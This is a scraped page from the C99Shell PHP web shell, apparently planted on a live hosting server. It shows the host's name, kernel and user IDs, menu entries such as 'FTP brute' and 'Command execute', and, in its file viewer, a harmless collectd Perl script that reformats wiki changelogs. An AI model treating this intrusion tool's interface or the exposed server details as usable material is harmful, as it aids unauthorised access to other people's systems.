!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Collectd/   drwxr-xr-x
Free 6181.87 GB of 6263.07 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wiki2changelog.pl (1.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

use strict;
use warnings;

=head1 NAME

wiki2changelog.pl

=head1 DESCRIPTION

This script takes the change log from one of the "Version x.y" pages in
collectd's wiki and converts it to the format used by the "ChangeLog" file.
This is usually done as part of the release process.

=cut

our $TextWidth = 80;

sub format_entry
{
    my $in = shift;
    my $out = '';

    my $line = "\t*";
    my $line_len = 9;

    for (split (' ', $in)) {
        my $word = $_;
        my $word_len = 1 + length $word;

        if (($line_len + $word_len) > $TextWidth) {
            $out .= "$line\n";
            $line = "\t ";
            $line_len = 9;
        }

        $line .= " $word";
        $line_len += $word_len;
    }

    if ($line_len != 9) {
        $out .= "$line\n";
    }

    return $out;
}

while (<>)
{
    chomp;
    my $line = $_;

    if ($line =~ m#^\* (.*)#) {
        $line = $1;
    } else {
        next;
    }

    $line =~ s#&lt;#<#g;
    $line =~ s#&gt;#>#g;
    $line =~ s#&nbsp;# #g;
    $line =~ s#&quot;#"#g;

    $line =~ s#\{\{Plugin\|([^}]+)\}\}#$1 plugin#g;
    $line =~ s@\{\{Issue\|([^}]+)\}\}@#$1@g;
    $line =~ s#\[\[[^|\]]+\|([^\]]+)\]\]#$1#g;
    $line =~ s#\[\[([^|\]]+)\]\]#$1#g;

    $line =~ s#'''(.*?)'''#*$1*#g;
    $line =~ s#''(.*?)''#$1#g;
    $line =~ s#<code>(.*?)</code>#"$1"#gi;

    print format_entry($line);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0123 ]--